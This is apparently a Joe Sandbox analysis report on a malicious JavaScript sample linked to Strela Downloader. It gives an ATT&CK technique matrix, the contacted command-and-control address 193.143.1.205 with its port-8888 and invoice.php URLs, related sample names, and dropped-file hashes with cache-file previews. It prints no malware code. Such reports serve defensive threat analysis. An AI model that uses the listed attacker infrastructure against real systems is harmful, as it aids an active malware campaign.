Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
32474162872806629906.js	7%	Virustotal		Browse
32474162872806629906.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/W	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/u	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/i-	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/d	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
s-part-0017.t-0009.fb-t-msedge.net	13.107.253.45	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.39	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2670630621.000002047B800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/d	net.exe, 00000007.00000002.1449471559.0000020764530000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/u	net.exe, 00000007.00000003.1440254041.0000020764562000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1449555009.0000020764562000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/W	net.exe, 00000007.00000002.1449555009.000002076454B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1440254041.000002076454B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1440254041.0000020764562000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1449555009.0000020764562000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1449471559.0000020764530000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/i-	net.exe, 00000007.00000003.1440254041.0000020764562000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1449555009.0000020764562000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1440411396.000002047BA00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587708
Start date and time:	2025-01-10 17:12:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	32474162872806629906.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 23.209.209.135, 2.23.242.162, 199.232.214.172, 2.16.168.107, 2.16.168.105, 2.22.242.11, 2.22.242.123, 13.107.253.45, 52.6.155.20, 4.245.163.56, 23.206.229.209, 104.78.188.188
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, azurefd-t-fb-prod.trafficmanager.net, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, www.bing.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, azureedge-t-prod.trafficmanager.net, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:13:07	API Interceptor	22x Sleep call for process: powershell.exe modified
11:13:11	API Interceptor	1x Sleep call for process: net.exe modified
11:13:11	API Interceptor	2x Sleep call for process: svchost.exe modified
11:13:19	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.fb-t-msedge.net	0Ie2kYdPTW.exe	Get hash	malicious	FormBook	Browse	13.107.253.45
	97q26I8OtN.exe	Get hash	malicious	FormBook	Browse	13.107.253.45
	nkCBRtd25H.exe	Get hash	malicious	Unknown	Browse	13.107.253.45
	https://www.filemail.com/d/rxythqchkhluipl?skipreg=true	Get hash	malicious	Unknown	Browse	13.107.253.45
	https://eu.jotform.com/app/250092704521347	Get hash	malicious	Unknown	Browse	13.107.253.45
	http://loginmicrosoftonline.Bdo.scoremasters.gr/cache/cdn?email=christian.wernli@bdo.ch	Get hash	malicious	Unknown	Browse	13.107.253.45
	fghj.exe	Get hash	malicious	LummaC	Browse	13.107.253.45
	https://p3rsa.appdocumentcenter.com/BpdLO	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45
	dekont garanti bbva_Ba#U015fka Bankaya Transfer 01112 img .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.253.45
	Nuevo-orden.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.253.45
bg.microsoft.map.fastly.net	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	launcher.exe.bin.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse	199.232.210.172
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	CF342114-CD27-4FDB-9984-9F03FED05312_12172024123959996.dll	Get hash	malicious	Unknown	Browse	199.232.214.172
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28152172202187913252.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	550532080162812544.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4932187660752693
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1Ztaz:cJhXC9lHmutpJyiRDeJ/aUKrDgnmt
MD5:	2B7191680D8133D81CCB9BE5F2D61E5A
SHA1:	B34867D4C33FD7517544C02DC6812234349119CD
SHA-256:	2E66E9BE57CFE1649562EC2D62F139B43043F3AEF39BD8E5809852189EFD6932
SHA-512:	F961D23FEF952423E348B999DB0078C57A3AFAE52C071C2EF09697189998106D116FA8F45CF30089ACC8EA5D80E72475F6BFC1A3303659A11EE8B27BF21050E2
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0dccd638, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7217037025358554
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:zazaNvFv8V2UW/DLzN/w4wZi
MD5:	FF5A76D8BEE7D8A9E4FAACEBBC61D6B7
SHA1:	99467E0ED8E4AB2FA7E56F16F793BAA50C696B5E
SHA-256:	24D4C2F831A5BFCE2BAE42315EA57B3C08470A3CEBFE658C5E226E81FAB412AF
SHA-512:	09C2319622E3AE0DE043B63C468C1DC963BBA3B4E0F2AB650C575FC8ACD4C09B31354CABCEC4A0A9FC0AAD12CE22C42C612EC2DFD933B631C775411B5978499A
Malicious:	false
Preview:	...8... ...............X\...;...{......................p.D..........{}......}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{....................................Bc.....}..................0.o......}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08128344998323847
Encrypted:	false
SSDEEP:	3:aPXKYeeoJnT/fgsCrZClW/tNlB/oll+SHY/Xl+/rQLve:aPXKz3Lfgs3GpBAAS4M
MD5:	E7E20A78157834BA1B78C464D4649AD5
SHA1:	7E559507BB90C75E86962CCE438580A538DA81BB
SHA-256:	D4D9FE3901E31E8218402E5BA0598045966EB1E86BF0DFC4D8B4CA072CD38294
SHA-512:	B4D55D3C693AEB33B3447AD8843FCF48F6F48F83BF64BFF242F7F7436AB63C5A887E58DF514739A805C83741A3D0CAAA63B584F1B12C44A2ACA93FAC514B225F
Malicious:	false
Preview:	.[V......................................;...{.......}.......{}..............{}......{}.vv_Q.....{}.................0.o......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.115190458805181
Encrypted:	false
SSDEEP:	6:iO4TU2+q2PqLTwi2nKuAl9OmbnIFUtSTUVJZmwsTUV9VkwOqLTwi2nKuAl9Ombjd:7IU3v8wZHAahFUt2UVJ/EUVD5TwZHAae
MD5:	4C0044E607C9CBB821A043F4D2DE84D2
SHA1:	64E03E29BA6BCDACC2402C2821D589D152803839
SHA-256:	208FCC99DE6E44A6A607098023F2C949D8CD4E64F3140F04524843996A94B63E
SHA-512:	2070D415388646C7CCA9230230D14ED0E40A68A53A16547B9BFBC5DB0CCFE82CE700E91FD6F84E2BC4491957BB862898D80D64929A6294B8B7BDCD74D330398B
Malicious:	false
Preview:	2025/01/10-11:13:11.849 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:13:11.851 1c28 Recovering log #3.2025/01/10-11:13:11.851 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.115190458805181
Encrypted:	false
SSDEEP:	6:iO4TU2+q2PqLTwi2nKuAl9OmbnIFUtSTUVJZmwsTUV9VkwOqLTwi2nKuAl9Ombjd:7IU3v8wZHAahFUt2UVJ/EUVD5TwZHAae
MD5:	4C0044E607C9CBB821A043F4D2DE84D2
SHA1:	64E03E29BA6BCDACC2402C2821D589D152803839
SHA-256:	208FCC99DE6E44A6A607098023F2C949D8CD4E64F3140F04524843996A94B63E
SHA-512:	2070D415388646C7CCA9230230D14ED0E40A68A53A16547B9BFBC5DB0CCFE82CE700E91FD6F84E2BC4491957BB862898D80D64929A6294B8B7BDCD74D330398B
Malicious:	false
Preview:	2025/01/10-11:13:11.849 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:13:11.851 1c28 Recovering log #3.2025/01/10-11:13:11.851 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.0858260438338885
Encrypted:	false
SSDEEP:	6:iO4TUrf+q2PqLTwi2nKuAl9Ombzo2jMGIFUtSTURUqZmwsTURUGVkwOqLTwi2nK3:7IUKv8wZHAa8uFUt2URUq/EURUW5TwZg
MD5:	8A1922031A8DC6014ABBE7C7B178AADC
SHA1:	590D0B0BFAB02B09548C6520F494E94196BA0D72
SHA-256:	810BAF9B63803BB4FE8A24D3E34D470F8DA232E654119227CA33C3BCEA032432
SHA-512:	A414E927E7F4F530E3AEE1A24362A943A8E22279F45FCD0EF46706F0BE90187ED43E9959766FA498BA5F852C962604FC40B34DB86C7771E9BF2E945DED679E90
Malicious:	false
Preview:	2025/01/10-11:13:11.901 1818 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:13:11.903 1818 Recovering log #3.2025/01/10-11:13:11.903 1818 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.0858260438338885
Encrypted:	false
SSDEEP:	6:iO4TUrf+q2PqLTwi2nKuAl9Ombzo2jMGIFUtSTURUqZmwsTURUGVkwOqLTwi2nK3:7IUKv8wZHAa8uFUt2URUq/EURUW5TwZg
MD5:	8A1922031A8DC6014ABBE7C7B178AADC
SHA1:	590D0B0BFAB02B09548C6520F494E94196BA0D72
SHA-256:	810BAF9B63803BB4FE8A24D3E34D470F8DA232E654119227CA33C3BCEA032432
SHA-512:	A414E927E7F4F530E3AEE1A24362A943A8E22279F45FCD0EF46706F0BE90187ED43E9959766FA498BA5F852C962604FC40B34DB86C7771E9BF2E945DED679E90
Malicious:	false
Preview:	2025/01/10-11:13:11.901 1818 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:13:11.903 1818 Recovering log #3.2025/01/10-11:13:11.903 1818 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq6IsBdOg2H3caq3QYiub5P7E4T3y:Y2sRds/ddMH23QYhbt7nby
MD5:	1F68A8BA3F8CEAA592E13DDC74AEC018
SHA1:	41D26F5282F6C8B4F106834E63958FB14F384E3C
SHA-256:	2B5742465AF089FE64A3326D0A185FFEF26F223D16373378C56A95FA26998138
SHA-512:	F502E0AD015091FCCBFCC54F9C6B7CF7472BD9B867548E21F8EE2B4B5924354C0D8ECF16DCBCF9D2A4EB4D896BA8AE86CEB3CC850D84DC443BEBAD61A02C1551
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381085603518160","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":122549},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fb8c959a-a9d7-41fa-a5fc-cbe0828d6cb5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq6IsBdOg2H3caq3QYiub5P7E4T3y:Y2sRds/ddMH23QYhbt7nby
MD5:	1F68A8BA3F8CEAA592E13DDC74AEC018
SHA1:	41D26F5282F6C8B4F106834E63958FB14F384E3C
SHA-256:	2B5742465AF089FE64A3326D0A185FFEF26F223D16373378C56A95FA26998138
SHA-512:	F502E0AD015091FCCBFCC54F9C6B7CF7472BD9B867548E21F8EE2B4B5924354C0D8ECF16DCBCF9D2A4EB4D896BA8AE86CEB3CC850D84DC443BEBAD61A02C1551
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381085603518160","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":122549},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.227462769163149
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068Ozr4VfB2:1CDLCmPj8j0/8qKgwPHYPx8xemT8OzrH
MD5:	A685A605D2BA340BB6962FF9CC3847F7
SHA1:	4663779F1FDD2C2B379D52FAF72E2A0758023CC4
SHA-256:	4D6D2F8439480CF5059CC24CEC4FA26C3929D5A423C12A3D910D7068C069668E
SHA-512:	4495FCA0645FA05C85BA5F7FD0C78E490C6AA0DA0750E7435DA89A80261F3FB75B6D3365908474A5AB81891F5351CA5AB9DE9C7A58E43D21E3113809DB296287
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.10170439249138
Encrypted:	false
SSDEEP:	6:iO4TG+q2PqLTwi2nKuAl9OmbzNMxIFUtSTBF/XZmwsT/VkwOqLTwi2nKuAl9Ombg:7IHv8wZHAa8jFUt2zf/Et5TwZHAa84J
MD5:	07D474F3EB683A28100594E59C85E188
SHA1:	53A481A16FF089655A8A2C27635EDF7F706D76F2
SHA-256:	A460A1EA95C7DA8A15E92FA397BD8EFFC0718FB7F3B0223B66739167B30BF04C
SHA-512:	45033175AC49B1B7D8D4B692D4BCA8F2695DC9F3FB04CB8B39184F7F29D41523BD358A6F7D8661953C38C9DAC82B0EA75E8E126FD194CC8128924180E77CCA62
Malicious:	false
Preview:	2025/01/10-11:13:12.252 1818 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:13:12.255 1818 Recovering log #3.2025/01/10-11:13:12.260 1818 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.10170439249138
Encrypted:	false
SSDEEP:	6:iO4TG+q2PqLTwi2nKuAl9OmbzNMxIFUtSTBF/XZmwsT/VkwOqLTwi2nKuAl9Ombg:7IHv8wZHAa8jFUt2zf/Et5TwZHAa84J
MD5:	07D474F3EB683A28100594E59C85E188
SHA1:	53A481A16FF089655A8A2C27635EDF7F706D76F2
SHA-256:	A460A1EA95C7DA8A15E92FA397BD8EFFC0718FB7F3B0223B66739167B30BF04C
SHA-512:	45033175AC49B1B7D8D4B692D4BCA8F2695DC9F3FB04CB8B39184F7F29D41523BD358A6F7D8661953C38C9DAC82B0EA75E8E126FD194CC8128924180E77CCA62
Malicious:	false
Preview:	2025/01/10-11:13:12.252 1818 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:13:12.255 1818 Recovering log #3.2025/01/10-11:13:12.260 1818 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4382425121361715
Encrypted:	false
SSDEEP:	384:ye+ci5GXiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pPurVgazUpUTTGt
MD5:	DAD1AAA45F60035C743B0AF2DC806288
SHA1:	19F5CF1BCC83B9F6C762768AB1850FA302463813
SHA-256:	7848F61B6176673E44FAD50614B2563228E5A0834BC840A734E145C95AC642D6
SHA-512:	886F3121261CC428940408B8D413EC6AC362A6DA479A027B471252074745A6598C4E21AF4AB8DF430FFFBC1B6ADAFC77EE5C1C458C0A0C9962C183A04E405042
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.766850469874152
Encrypted:	false
SSDEEP:	48:7MQJioyV3ioyXoy1C7oy16oy1yKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1Or:7fJu3tlXjBipb9IVXEBodRBkS
MD5:	A7B155E821A6943E23658CFDDCBF0D51
SHA1:	D40437E2C1DBC74D9702F3A24BF507AEAA063F1A
